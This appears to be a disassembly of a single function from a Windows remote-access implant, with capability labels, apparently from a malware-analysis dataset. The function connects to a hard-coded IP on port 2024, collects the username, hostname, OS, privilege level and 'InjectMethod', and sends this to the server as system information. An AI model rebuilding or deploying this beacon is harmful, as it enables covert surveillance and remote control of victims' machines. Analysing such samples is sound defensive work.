Function at 0x140004050
Capabilities:
Connect socket
Set socket configuration

Disassembly:
push rsi
push rbx
sub rsp, 0x58
mov rbx, qword [0x1400c4060]
test rbx, rbx
je 0x140004370
xor r8d, r8d
mov edx, 1
mov ecx, 2
call qword [sym.imp.WS2_32.dll_socket]
mov qword [rbx], rax
cmp rax, 0xffffffffffffffff
je 0x140004360
mov rax, qword [0x1400c4060]
mov ecx, 0x7e8
lea rsi, [rsp + 0x3c]
mov byte [rax + 8], 0
mov eax, 2
mov qword [rsp + 0x42], 0
mov word [rsp + 0x40], ax
mov qword [rsp + 0x48], 0
call qword [sym.imp.WS2_32.dll_htons]
lea rcx, str.185.106.94.51
mov word [rsp + 0x42], ax
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [rsp + 0x3c], 1
mov r9, rsi
mov rbx, qword [sym.imp.WS2_32.dll_setsockopt]
mov dword [rsp + 0x44], eax
mov rax, qword [0x1400c4060]
mov r8d, 4
mov edx, 0xffff
mov rcx, qword [rax]
mov dword [rsp + 0x20], 4
call rbx
cmp eax, 0xffffffff
je 0x1400043f8
mov rax, qword [0x1400c4060]
mov r9, rsi
mov r8d, 8
mov edx, 0xffff
mov rcx, qword [rax]
mov dword [rsp + 0x20], 4
call rbx
cmp eax, 0xffffffff
je 0x140004410
mov rax, qword [0x1400c4060]
mov r9, rsi
mov r8d, 1
mov edx, 6
mov rcx, qword [rax]
mov dword [rsp + 0x20], 4
call rbx
cmp eax, 0xffffffff
je 0x140004428
mov rax, qword [0x1400c4060]
lea rdx, [rsp + 0x40]
mov r8d, 0x10
mov rcx, qword [rax]
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x140004350
call fcn.140001a30
mov rbx, rax
test rax, rax
je 0x140004350
lea rcx, str._____System_Info_____
call fcn.140001920
mov rdx, qword [rbx + 8]
lea rcx, str.Username:__s
call fcn.140001920
mov rdx, qword [rbx]
lea rcx, str.Hostname:__s
call fcn.140001920
mov rdx, qword [rbx + 0x10]
lea rcx, str.OS:__s
call fcn.140001920
mov rdx, qword [rbx + 0x18]
lea rcx, str.Arch:__s
call fcn.140001920
mov rdx, qword [rbx + 0x20]
lea rcx, str.InjectMethod:__s
call fcn.140001920
mov edx, dword [rbx + 0x28]
lea rcx, str.CPUCount:__d
call fcn.140001920
call fcn.140001980
lea rcx, str.IPV6_Supported:__d
movzx edx, al
call fcn.140001920
movzx edx, byte [rbx + 0x41]
lea rcx, str.SuperUser:__d
call fcn.140001920
cvttsd2si edx, qword [rbx + 0x48]
lea rcx, str.Memory:__dMB
call fcn.140001920
mov rdx, qword [rbx + 0x30]
lea rcx, str.Version:__s
call fcn.140001920
lea rcx, str._____________________
call fcn.140001920
mov rdx, qword [0x1400c4060]
mov r9d, 0x7e8
lea r8, str.185.106.94.51
lea rcx, str.Connected_to___p__s:_d_n
call fcn.140001920
mov rax, qword [0x1400c4060]
mov rcx, qword [rax + 0x10]
call fcn.14009f810
mov rax, qword [0x1400c4060]
xor edx, edx
mov rcx, qword [rax]
call fcn.1400033b0
test rax, rax
je 0x140004305
mov rax, qword [0x1400c4060]
mov edx, 1
mov rcx, qword [rax]
call fcn.1400033b0
test rax, rax
je 0x140004305
mov rax, qword [0x1400c4060]
lea rdx, str.SystemInfo
mov rcx, qword [rax]
call fcn.140003430
test rax, rax
je 0x140004305
mov rax, qword [0x1400c4060]
mov edx, 0xa
mov rcx, qword [rax]
call fcn.1400033b0
test rax, rax
je 0x140004305
mov edx, 0xa
mov rcx, rbx
call fcn.140003a90
mov rdx, rax
mov rax, qword [0x1400c4060]
mov rcx, qword [rax]
call fcn.140003430
mov rax, qword [0x1400c4060]
mov rcx, qword [rax + 0x10]
call fcn.14009fae0
mov rcx, rbx
call fcn.140001d90
mov r9, qword [0x1400c4060]
xor edx, edx
lea r8, [0x140003ea0]
lea rcx, [r9 + 0x18]
call fcn.1400a2050
mov edx, eax
mov eax, 1
test edx, edx
jne 0x1400043b0
add rsp, 0x58
pop rbx
pop rsi
ret
mov rax, qword [0x1400c4060]
mov rcx, qword [rax]
call qword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
add rsp, 0x58
pop rbx
pop rsi
ret
mov ecx, 0x20
call sub.msvcrt.dll_malloc
mov ecx, 8
mov rbx, rax
mov qword [0x1400c4060], rax
call sub.msvcrt.dll_malloc
xor edx, edx
mov qword [rbx + 0x10], rax
mov rcx, rax
call fcn.14009fc20
mov rbx, qword [0x1400c4060]
jmp 0x140004066
mov rbx, qword [0x1400c4060]
test rbx, rbx
je 0x140004360
cmp qword [rbx], 0xffffffffffffffff
je 0x140004360
cmp byte [rbx + 8], 0
jne 0x140004360
lea rcx, str.Closing_connection
call fcn.140001920
mov rcx, qword [rbx]
call qword [sym.imp.WS2_32.dll_closesocket]
mov byte [rbx + 8], 1
mov rcx, qword [rbx + 0x18]
call fcn.1400a1ad0
xor eax, eax
jmp 0x140004362
lea rcx, str.setsockopt_SO_REUSEADDR
call fcn.140001940
jmp 0x14000410d
lea rcx, str.setsockopt_SO_KEEPALIVE
call fcn.140001940
jmp 0x140004138
lea rcx, str.setsockopt_TCP_NODELAY
call fcn.140001940
jmp 0x140004163